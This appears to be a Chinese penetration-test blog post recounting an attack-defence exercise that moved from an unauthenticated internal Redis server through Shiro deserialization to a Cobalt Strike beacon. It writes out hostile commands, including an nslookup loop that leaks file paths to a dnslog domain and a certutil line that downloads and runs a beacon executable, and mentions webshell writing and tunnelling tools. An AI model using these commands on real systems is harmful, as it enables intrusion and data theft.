从未授权内网redis到CS上线

声明 

   免责声明:本文为个人作品,只做技术研究,只可用于正常的技术交流与学习,不可用于灰黑产业,不可从事违法犯罪行,严禁利用本文所介绍的技术进行未授权的恶意攻击,否则,后果自负!!!

一 :背景

最近参加某攻防演练活动,在内网中遇到一个java web网站(使用shiro组件),最后从未授权redis写key到cs上线。

二:过程

通过前期已经在一个边缘主机拿到了冰蝎马,使用fscan 扫描内网,发现一个网站用了shiro

浏览器开代理打开网站

发现这个8080端口刚好就是外网网站对应的内网服务器,该服务器为windows,无法写任务计划和ssh公钥拿shell,为了扩大战果,尝试对该网站进行测试,使用shiro exp打了一圈无果,登陆也没有弱口令,再看fscan扫描结果时,还发现该服务器开了,6379端口,且没有密码,如下

 刚好之前看到过一篇文章

【Java安全】redis未授权到shiro反序列化

 跟我的环境几乎一致,于是开始盘他

首先改了下文章给的脚本,因为我的shiro 在redis对应key肯定和他不一样

 

 二个就是,每次把key写进去都要用burp 指定jsessionid 为写进去的key,发一次请求,来触发服务器执行反序列化操作,

 使用了 cb 1.93和1.82版本都不行,又尝试了pysyo库的所有cc链都不成功。最后试了jdk7u21和jdk8u20原生库,发现jdk8u20执行后服务器报错了。

 dnslog 成功收到了请求

当前用户

 下一步就是 拿shell了,

三:getshell

0x1 添加用户(失败)

通过前期收集信息,服务器还开了3389,直接尝试 net user添加用户,发现请求被阻断了,怀疑有火绒限制。

按照这个方法,之前在别的电脑成功过,

 在这里试了下,也不行。

0x2 写马(失败)

然后尝试写冰蝎到web目录,这里只能通过dnslog 看回显

在网页上随便找一个图片,然后redis写入以下命令

cmd /c for /r c: %i in (bj1.jpg*) do  nslookup %i.lr5dyr.dnslog.cn

 成功找到, \ 是特殊符号,拼接域名的时候会忽略掉,但是已经能知道了,目录在

x盘:\xxxx\apache-xxxx-server\webapps\ROOT\WEB-INF\classes\static\img\sysimg\bj1.jpg.o4shl8.dnslog.cn

然后用certutil 把冰蝎马加密成base64 用echo写到服务器的目录里,这一步成功了,

但是在服务器上把加密的txt还原成jsp时网络又被阻断了,再次也失败了

0x3 cs上线DNS马(成功)

因为没有免杀的马,但是本着试试的态度,直接用certutil -urlcache -split -f http://ip/artifact.exe 把dns马下载到服务器上运行(ps这个马是先传到一台内网的weblogic上面的,也是之前打下来的),幸运的是直接上线了

 后面上去看了下,这个服务器是可以出网的,我的jsp马也是成功写入了,net user添加用户的时候,我的密码不符合强度策略。。但是没搞懂为啥写马会被阻断,估计有流量防火墙?,在这台机器又转成http马,cs操作快多了。又上传了gost,可以愉快的内网渗透了

四:总结

还是得把java安全学好!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

pyth0nn

送人玫瑰,手留余香

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值